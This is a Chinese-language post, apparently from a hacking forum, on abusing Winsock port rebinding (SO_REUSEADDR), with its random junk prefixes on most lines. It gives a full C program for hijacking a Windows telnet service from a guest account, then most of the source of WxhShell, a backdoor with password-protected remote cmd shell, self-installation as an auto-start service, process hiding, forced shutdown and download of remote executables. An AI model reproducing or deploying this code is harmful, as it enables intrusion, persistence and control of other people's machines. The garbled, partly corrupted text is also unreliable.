在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8IX:XDEQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
"`QI2{!l Pz=x$aY saddr.sin_family = AF_INET;
U$-;^=; yA74Rxl*6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9GH11B_A u{Z
4M3U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+lK?)77f G4VdJ(_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:n@j"-HA 9KqN . 这意味着什么?意味着可以进行如下的攻击:
g$z9 ( i+ W.B;Dy,Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|H.i$8_A
2s+ITPr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|oYqkP| `7f><p/q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N-lo[bDJh dKKh ^D`~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Z9TUaMhF Y?1
3_~
K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o$S/EZ fj/sN HU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Myal3UF +{qX, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Q9Y$x{R& 7K*\F}2)q #include
QA=G+1x #include
N2 vA/ #include
FEd We\E #include
m!Iax]D{ DWORD WINAPI ClientThread(LPVOID lpParam);
tA*hh"9 int main()
K GVAP {
iyj,0T WORD wVersionRequested;
?Re6oLm<B DWORD ret;
J ejDF*Q WSADATA wsaData;
?u*gKI BOOL val;
U',.'"m SOCKADDR_IN saddr;
j@j%)CCM SOCKADDR_IN scaddr;
E[z8;A^:0 int err;
B4/0t:^I SOCKET s;
?iX1;c9 SOCKET sc;
efK3{
int caddsize;
C(ay7 HANDLE mt;
Lq-Di|6q DWORD tid;
a\UhOPFF wVersionRequested = MAKEWORD( 2, 2 );
)]\?Yyg] err = WSAStartup( wVersionRequested, &wsaData );
V_>)m3zsL if ( err != 0 ) {
$O+e+Y printf("error!WSAStartup failed!\n");
0%K/gd#S< return -1;
c*5y8k }
~If{`zWoC saddr.sin_family = AF_INET;
u-31$z<<5} e:h(, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
POnI&y] jJX-S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(c'=jJX saddr.sin_port = htons(23);
`|["{j}^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_fVC\18T {
e)(m0m\ printf("error!socket failed!\n");
B/iRR2h return -1;
^KBE2C }
UL46%MFQ\ val = TRUE;
#6jdv|fu //SO_REUSEADDR选项就是可以实现端口重绑定的
r_5k$u( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6I)1[tU {
dzK]F/L] printf("error!setsockopt failed!\n");
j:JM v return -1;
vlHE\%{ }
x6d0yJ < //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h`_@eax //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\z/_vzz4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
34@f(^d+^ bZ/4O*B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Cb{n4xKW6 {
,>DaS( ret=GetLastError();
SM<kR1bo printf("error!bind failed!\n");
f9Vxtd return -1;
af:wg]g }
U%Igj:%?;` listen(s,2);
k:+Bex$g while(1)
#ny&bJj {
np>RxiB^ caddsize = sizeof(scaddr);
<hYrcOt //接受连接请求
K*ZH<@o4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
LX
i?FQnLu if(sc!=INVALID_SOCKET)
:4{;^|RgU {
liYR8 D
| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+
lha= if(mt==NULL)
97$1na3gq {
#WOb&h printf("Thread Creat Failed!\n");
7c:5Ey break;
aCL_cVOMR }
W?(^|<W }
Fu
K(SP3 CloseHandle(mt);
6l{=[\.Xa }
.szs? closesocket(s);
[jOvy>2K] WSACleanup();
*ybwlLg return 0;
OMr &f8 }
NwK(<dzG DWORD WINAPI ClientThread(LPVOID lpParam)
Ji> {
m &U
$V SOCKET ss = (SOCKET)lpParam;
SqiLp!Y` SOCKET sc;
/1Xji0LK unsigned char buf[4096];
`kx+ Kc SOCKADDR_IN saddr;
91Cg
long num;
qU'O4TWZ DWORD val;
|_Y[931< DWORD ret;
a]-.@^:_i //如果是隐藏端口应用的话,可以在此处加一些判断
\2rCT~x //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
b&Dc DX saddr.sin_family = AF_INET;
jY]hMQ/H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
uq}>5 saddr.sin_port = htons(23);
&DqeO8?Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_]W
}6?i {
{
.z6J)?J2 printf("error!socket failed!\n");
;'o:1{Y return -1;
R!v ?d2 }
%H-(-v^T* val = 100;
#-QQ_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
bS0z\!1 {
(I?CW~3# ret = GetLastError();
b,?@_*qv+ return -1;
u6~|].j R }
u}Q@u!~e9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x?ajTzMv {
.K`^n\T
t ret = GetLastError();
'qosw:P return -1;
}tH$/-qnJE }
J,8Wo6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0FDfB; {
a\wpJ|3{=T printf("error!socket connect failed!\n");
u1?1x closesocket(sc);
|JpLMUG closesocket(ss);
k5>K/;*9 return -1;
oSb,)k@ }
9s5PJj "u while(1)
-3M6[`/ {
x)X=sX. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eBD7 g- //如果是嗅探内容的话,可以再此处进行内容分析和记录
oQrkd: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kEM5eY num = recv(ss,buf,4096,0);
,j4 ;:F if(num>0)
-Oo7]8 send(sc,buf,num,0);
G/F0)M else if(num==0)
}&Eb {' break;
BF*]l8p num = recv(sc,buf,4096,0);
RVxlN* if(num>0)
!MOgM send(ss,buf,num,0);
3^>D | else if(num==0)
2:(h17So break;
e ;4y5i }
*wml
4lh closesocket(ss);
=[O;/~J%: closesocket(sc);
FFT h}>> return 0 ;
k+^-;=u6< }
t3TnqA MZt~
Abt wIW]uo/= ==========================================================
E(i<3U"4h[ N'L3Oa\% 下边附上一个代码,,WXhSHELL
K-$gTV `+~@VZ3m ==========================================================
\9T;-] V 0<>Xo% #include "stdafx.h"
0Hz*L,Bh4 yqpb_h9 #include <stdio.h>
EJ* #include <string.h>
JrF\7*rh9 #include <windows.h>
PvzB, 2": #include <winsock2.h>
*D: wwJ #include <winsvc.h>
S[o_$@| #include <urlmon.h>
q?x.P2 *QzoBpO< #pragma comment (lib, "Ws2_32.lib")
i,=CnZCh #pragma comment (lib, "urlmon.lib")
b|i94y( zOR #define MAX_USER 100 // 最大客户端连接数
<r*A(}Y #define BUF_SOCK 200 // sock buffer
pN+lC[C #define KEY_BUFF 255 // 输入 buffer
/aepE~T l<7)uO^8 #define REBOOT 0 // 重启
)v!>U<eprD #define SHUTDOWN 1 // 关机
D`=hP(y^ QI@!QU$K& #define DEF_PORT 5000 // 监听端口
`P&L. m]| 6?U2Et #define REG_LEN 16 // 注册表键长度
.P[
%t=W #define SVC_LEN 80 // NT服务名长度
"{0
o"k 9aw- n*< // 从dll定义API
~]71(u2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o=`FGowF typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
W
s!N%%g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X<4h"W6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gi;#?gps ~eH+*U|\|M // wxhshell配置信息
\lVX~r4 struct WSCFG {
%DAF26t int ws_port; // 监听端口
9}`A_KzFx char ws_passstr[REG_LEN]; // 口令
1uTbN int ws_autoins; // 安装标记, 1=yes 0=no
t:m2[U_} char ws_regname[REG_LEN]; // 注册表键名
Wq!n8O1 char ws_svcname[REG_LEN]; // 服务名
kve{CO* char ws_svcdisp[SVC_LEN]; // 服务显示名
b {e nD char ws_svcdesc[SVC_LEN]; // 服务描述信息
8=^o2& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$=8?@My< int ws_downexe; // 下载执行标记, 1=yes 0=no
?`Oh]2n)6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jI$}\*g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*
%p6+D-C sF?N vp };
.7-Yu1{2 f
Q.ea#xh^ // default Wxhshell configuration
pIh%5ZU struct WSCFG wscfg={DEF_PORT,
uy~KJn?Tu "xuhuanlingzhe",
[@@Ovv 1,
s9 '*Vm "Wxhshell",
Cc:m~e6r "Wxhshell",
n237%LH[ "WxhShell Service",
lgC|3] "Wrsky Windows CmdShell Service",
J7R+|GTcx "Please Input Your Password: ",
:F:<{]oG_ 1,
ms'!E) "
http://www.wrsky.com/wxhshell.exe",
'J^E|1P "Wxhshell.exe"
.S&S#}$/] };
v_*E:E ".z~c%' // 消息定义模块
YX+Da"\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/8baJ+D"4\ char *msg_ws_prompt="\n\r? for help\n\r#>";
S8+Xk= x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
CCJ!;d;&87 char *msg_ws_ext="\n\rExit.";
/#?lG`'1 char *msg_ws_end="\n\rQuit.";
a_5 `9B L char *msg_ws_boot="\n\rReboot...";
XJ;kyEx3=O char *msg_ws_poff="\n\rShutdown...";
euHX7 char *msg_ws_down="\n\rSave to ";
LEMgRI`rf P%5h!Z2m char *msg_ws_err="\n\rErr!";
p1p4t40<l char *msg_ws_ok="\n\rOK!";
;ti{
#(Ux U$KdY _Z97 char ExeFile[MAX_PATH];
4*9y4" int nUser = 0;
n$ye:p>`- HANDLE handles[MAX_USER];
JcxhI]E int OsIsNt;
<,,U>0?3 .IYE+XzV SERVICE_STATUS serviceStatus;
S2)rkX$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
,,r%Y&:`6 7~[1%` // 函数声明
4
Y q|Z int Install(void);
zO`54^ int Uninstall(void);
u]P0:)tS. int DownloadFile(char *sURL, SOCKET wsh);
STp}?Cb int Boot(int flag);
VIL #q void HideProc(void);
Ml8 '=KN_ int GetOsVer(void);
\HFh?3-g int Wxhshell(SOCKET wsl);
m?hC!n> void TalkWithClient(void *cs);
=)C}u6 int CmdShell(SOCKET sock);
GeN8_i[ int StartFromService(void);
o>{+vwK int StartWxhshell(LPSTR lpCmdLine);
XA{tVh hQrO8T?2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
t#mW`rGE_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
hqVx%4s*J
Sg1$/+ // 数据结构和表定义
WF<0QH SERVICE_TABLE_ENTRY DispatchTable[] =
^ MkT"> {
6.|f iQs] {wscfg.ws_svcname, NTServiceMain},
vyT$IdV2 {NULL, NULL}
$~4ZuV% };
Nko;I?Fn 8}m]XO // 自我安装
ZWW:-3 int Install(void)
Y'kD_T`f, {
pDD0 QO char svExeFile[MAX_PATH];
[vpZ 3; HKEY key;
@AL,@P/9= strcpy(svExeFile,ExeFile);
li\hH d5 V0R;q // 如果是win9x系统,修改注册表设为自启动
6sl*Ko[ if(!OsIsNt) {
=vBxwa^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Kd
CPt! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SE{$a3`UzP RegCloseKey(key);
94"R&| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eFvw9B+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2a2C z'G RegCloseKey(key);
RLr;]j8cm return 0;
:h1itn }
"2(4?P }
Y+ P\5G }
r: n^U# else {
>:5/V0;, !<}<HR^) // 如果是NT以上系统,安装为系统服务
S|Wv1H> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
j2" jCv if (schSCManager!=0)
%VsuGA {
<pRb#G" SC_HANDLE schService = CreateService
>1xlP/4jx (
he&*N*of: schSCManager,
M~;Ww-./ wscfg.ws_svcname,
LOi5 ^Um| wscfg.ws_svcdisp,
pm O }m> SERVICE_ALL_ACCESS,
eu~WFI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\(jSkrrD SERVICE_AUTO_START,
IZeWswz SERVICE_ERROR_NORMAL,
GEy^*, d svExeFile,
N5[QQtQ NULL,
g+p?J.+ NULL,
dkJ+*L5 NULL,
dNG>:p NULL,
axnkuP( NULL
71nXROB );
XX~~SvSM if (schService!=0)
Lm"l*j4 {
|eWlB\ x8 CloseServiceHandle(schService);
hf>JW[>Xo CloseServiceHandle(schSCManager);
n_sCZ6uXEQ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o6 strcat(svExeFile,wscfg.ws_svcname);
mZJ"e,AY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hT9fqH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fLAOA9 RegCloseKey(key);
JC}y{R8 return 0;
jR\&2;T }
OOs Y{8xM }
f$9V_j-K+ CloseServiceHandle(schSCManager);
?%(8RQ }
Q/r9r*>z }
OT{wqNI ;OTD1= return 1;
}'a}s0h }
>V@-tT"^: bTE%p0 // 自我卸载
"'-f?kZ int Uninstall(void)
JadXd K=gE {
LHKawEZ HKEY key;
wgpu]ooUF& QM`A74j0]\ if(!OsIsNt) {
6",1JH,;p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2#ND( RegDeleteValue(key,wscfg.ws_regname);
B.6gJ2c RegCloseKey(key);
y} AkF2: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
mu04TPj RegDeleteValue(key,wscfg.ws_regname);
]wWN~G)2lV RegCloseKey(key);
8v\BW^z3 return 0;
8-UlbO6 }
gI6./;;x }
p ElF,Y }
DzYi>
E:* else {
1om :SHw 6pM[.:TM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ihBlP\C if (schSCManager!=0)
i&$L$zf, {
h)7{Cj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;'NB6[x if (schService!=0)
~[e;{45V {
6%~ Z^>`N if(DeleteService(schService)!=0) {
q3TAWNzI0 CloseServiceHandle(schService);
3qE2mYK CloseServiceHandle(schSCManager);
eaCv8zdX return 0;
nAG2!2_8 }
Zsc710_ CloseServiceHandle(schService);
(e6JI]tz{ }
TZT i:\nS CloseServiceHandle(schSCManager);
i[sHPEml(5 }
xCz(qR }
_@;t^j+l v#{Sx>lO return 1;
C:xgM'~+ }
lt`(R*B% a` A V // 从指定url下载文件
W~2`o*\l int DownloadFile(char *sURL, SOCKET wsh)
Vb az#I {
1[OCoj o< HRESULT hr;
s'qd%JxD char seps[]= "/";
4*< x0 char *token;
#mLF6"A char *file;
IWERn
v! char myURL[MAX_PATH];
.(^KA{ char myFILE[MAX_PATH];
b^_#f:_j A^nB!veh strcpy(myURL,sURL);
SB0Cq token=strtok(myURL,seps);
=7wI/5iN while(token!=NULL)
l8 k@.<nCO {
t Sran file=token;
9`]Gosz token=strtok(NULL,seps);
~VYZu=p }
cw|3W] {z>fe
} GetCurrentDirectory(MAX_PATH,myFILE);
uOUgU$%zqH strcat(myFILE, "\\");
UJMM& strcat(myFILE, file);
s.`:9nj send(wsh,myFILE,strlen(myFILE),0);
t>"UenJt- send(wsh,"...",3,0);
P|HxD0c^u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
e=&,jg?K if(hr==S_OK)
8Q
ba4kgL return 0;
`ECT8 else
ZmeSm&
hQ_ return 1;
_rt+OzZ*L
b5lZ| |W. }
kk#%x#L[ W6J%x[>Z // 系统电源模块
OV/H&fe int Boot(int flag)
+ 2v6fan {
15dhr]8E HANDLE hToken;
Yci>'$tQ TOKEN_PRIVILEGES tkp;
'Dw+k;RH F3+
;2GG2 if(OsIsNt) {
2-=Ov@y2k! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|`vwykhezO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Y1fcp_]m tkp.PrivilegeCount = 1;
;]c@%LX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|2t
g3m@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l7#5.%A if(flag==REBOOT) {
IlN: NS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#$W02L8 return 0;
Sv3O${B| }
w3l2u1u else {
0x BO5[w,Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-#@l`kt return 0;
Z
0&=Lw }
hK^(Y }
z5.Uv/n\1 else {
jMUd,j`Opx if(flag==REBOOT) {
q[?xf3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h [*/Tnr return 0;
`%S 35x9 }
"y~tAg else {
fghw\\]3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)&/ecx"2Q return 0;
oP>+2.i }
$fifx>! }
7p1f*N[X k Il!n
return 1;
Gbj^o o }
vYl2_\,Y? }fC= // win9x进程隐藏模块
RTC;Wj void HideProc(void)
<c'0-= {
`>ppDQaS)W H!SFSgAu HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
- t#YL if ( hKernel != NULL )
phCItN; {
aF8'^xF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xhcFZTj/( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
hp|.hN(kS] FreeLibrary(hKernel);
;Aqj$ x }
>lPWji'4; (8"advc6 return;
_(7f0p }
jxc^OsYj _:+hB9n s // 获取操作系统版本
p~Wy`g- int GetOsVer(void)
zSd!n {
Ww=^P{q\ OSVERSIONINFO winfo;
Gxh r0' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
N 2XL5< GetVersionEx(&winfo);
4og/y0n,l" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JjMa return 1;
`\-<tk9 else
7l(GBr return 0;
jw5ldC>U }
'G>$W+lT^ 52,[dP,g // 客户端句柄模块
Am
~P$dN int Wxhshell(SOCKET wsl)
B,S~Idr} {
bZ0{wpeK= SOCKET wsh;
C))x#P36 struct sockaddr_in client;
Q{[l1: DWORD myID;
6 2:FlW> !jWE^@P/B while(nUser<MAX_USER)
s$gR;su)g {
,ZV>"'I: int nSize=sizeof(client);
?lca#@f( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
AZ.$g?3w if(wsh==INVALID_SOCKET) return 1;
WAt= T3 -I?8\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I+{2DY/} if(handles[nUser]==0)
WQ+ xS!ba closesocket(wsh);
Gf=3h4 else
b(_f{R7PY nUser++;
do.AesdXaq }
FUVp}>#U WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8IkmFXj jd`h)4 return 0;
S=<OS2W7+r }
~ &<Ls g@2KnzD // 关闭 socket
E1j3c
:2 void CloseIt(SOCKET wsh)
a[_IG-l|i4 {
${)oi:K@: closesocket(wsh);
5pT8 }?7 nUser--;
p'`?CJq8 ExitThread(0);
1/f{1k }
lqTc6@:D r2*8.j51 // 客户端请求句柄
\,xa_zeO void TalkWithClient(void *cs)
=PF2p'.o {
t6uYFxE W{%X1::q$ SOCKET wsh=(SOCKET)cs;
Vk> & char pwd[SVC_LEN];
pZcY[a char cmd[KEY_BUFF];
BCfmnE4% char chr[1];
b:5-0uxjs int i,j;
jM}(?^@ n)0M1o# while (nUser < MAX_USER) {
'%X29B5 s:k?-u@ if(wscfg.ws_passstr) {
Lb?WhjqZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;}Ei #T,D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
",xTgB3?V //ZeroMemory(pwd,KEY_BUFF);
f(G1xw]]@Y i=0;
5Gs>rq" # while(i<SVC_LEN) {
[D+,I1u2h fG d1 // 设置超时
ppo0DC\> fd_set FdRead;
9
JhCSw-<) struct timeval TimeOut;
BRy3D\} FD_ZERO(&FdRead);
PJ)l{c FD_SET(wsh,&FdRead);
ur.krsU TimeOut.tv_sec=8;
78\j TimeOut.tv_usec=0;
>F>VlRg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
km*Y#`{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hVz] wKP "O'c.v?{x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d>?C?F pwd
=chr[0]; 9Fy'L#%
if(chr[0]==0xd || chr[0]==0xa) { le'
Kp
V
pwd=0; OwT _W)$
break; '4Jf[
} #M||t|9iu?
i++; J'ZC5Xr
} #UE}JR3g
'ieTt_1.G
// 如果是非法用户,关闭 socket wfv\xHG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jEE!H/
} 8_E(.]U
twu,yC!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XG*> yra`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); otdRz<C
z4 <_>)p
while(1) { Oi'y0S~g
R7"7
Rx
ZeroMemory(cmd,KEY_BUFF); Ab]tLz|Z
2i0;b|-=
// 自动支持客户端 telnet标准 tz8fZ*n
j=0; 8k3y"239t
while(j<KEY_BUFF) { Wsgp#W+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qw$9i.Z
cmd[j]=chr[0]; L2p?]:-
if(chr[0]==0xa || chr[0]==0xd) { 064k;|>D
cmd[j]=0; oNIYO*[
break; < =~=IZ)
} 2WDe34
j++; U3C"o|
} QJj='+R>
G pI4QzR
// 下载文件 cxQAp
if(strstr(cmd,"http://")) { B~^*@5#0|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /{: XYeX
if(DownloadFile(cmd,wsh)) +SF+$^T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#yqw%
else >DUTmJxv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n
7i5A:
} 0TaI"/ai
else { ht*(@MCr<
\i/HHP[%
switch(cmd[0]) { ~&<t++ g
=
// 帮助 IA<>+NS
case '?': { .8Bu%Sf
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9tU"+
break; O Bcz'f~
} h]h"-3
// 安装 g5y`XFY
case 'i': { Wlxmp['Bh
if(Install()) @I-,5F|r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $m)gfI]9
else [.^ol6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6`7tTn?n
break; #2s}s<Sc;
} ZM})l9_o"
// 卸载 \c<;!vkZ04
case 'r': { rH!sImz,
if(Uninstall()) _]33Ht9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Xo0(*O
else 4~3
n
=T*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .SjJG67OyA
break; F \ls]luN
} ]:#=[CH
// 显示 wxhshell 所在路径 T 5Zh2Q@
case 'p': { +Eh.PWEe
char svExeFile[MAX_PATH]; bS;_xDXd
strcpy(svExeFile,"\n\r"); McN[
strcat(svExeFile,ExeFile); r}&&e BY
f
send(wsh,svExeFile,strlen(svExeFile),0); C{}PO u
break; bJetqF6n
} X5YOxMq
// 重启 t$(#$Z,RS
case 'b': { g3c<c S^l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
t1YB
if(Boot(REBOOT)) @]%eL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); triU^uvh
else { #lrwKHZ+
closesocket(wsh); X+ITW#
ExitThread(0); 2zqaR[C
} l>K+4
break; cN0
*<
} 1R3,Z8j'
// 关机 uUg;v/:
case 'd': { tu<<pR>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BW7AjtxQ&
if(Boot(SHUTDOWN)) a51e~mg Z`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Pw*p*z
else { |J,zU6t
closesocket(wsh); aSvv(iV
ExitThread(0); !Z tqh Xr
} _]OY[&R
break; =4MTb_
} ]CF-#q}'
// 获取shell ppRmC,0f^
case 's': { j{OA%G(I
CmdShell(wsh); ]5jS6@Vl*
closesocket(wsh); KR#,6
ExitThread(0); ":$4/b6
break; Rb L?(
} ,Q56A#Y\
// 退出 @KK6Jy OTQ
case 'x': { {/]2~!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R|8vdZ%@
CloseIt(wsh); oh< -&3Jn
break; +#MXeUX"
} O3@DU#N&s
// 离开 uVUU1@
case 'q': { %jzTQ+.%]^
send(wsh,msg_ws_end,strlen(msg_ws_end),0); VIz(@
closesocket(wsh); $U*eq[
WSACleanup(); llP
V{
exit(1); _K9`o^g%PJ
break; ,fp+nu8,
} UqI #F
} 7S}0Kuk)
} VkFh(Br<{
4%J0e'iN
// 提示信息 6ieul@?*u*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [*^.$s(
} ,gVVYH?qR
} E`oA(x7l
-`I|=lBz{H
return; Cw+boB_tip
} ?YW~7zG
d}4NL:=&
// shell模块句柄 t|i NSy3
int CmdShell(SOCKET sock) OF7hp5
{ SvM\9
STARTUPINFO si; qUd7O](b=?
ZeroMemory(&si,sizeof(si)); 6^gp
/{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #"4ioTL2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -5b|nQuY
PROCESS_INFORMATION ProcessInfo; =@Oo3*>
char cmdline[]="cmd"; \:4*h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _li3cXE
return 0; 'hjEd.
} h.X4x2(.
Jj\4P1|' 7
// 自身启动模式 9(^UchZZi
int StartFromService(void) 8X7??f1;Y
{ -x+3nb|.
typedef struct t,7%|
{
{ ww^\_KGu7
DWORD ExitStatus; hN2A%ds*(j
DWORD PebBaseAddress; A4tk</A
DWORD AffinityMask; pX_#Y)5
DWORD BasePriority; 5)RZJrN]
ULONG UniqueProcessId; !d N[9}
ULONG InheritedFromUniqueProcessId; b]]8Vs)'
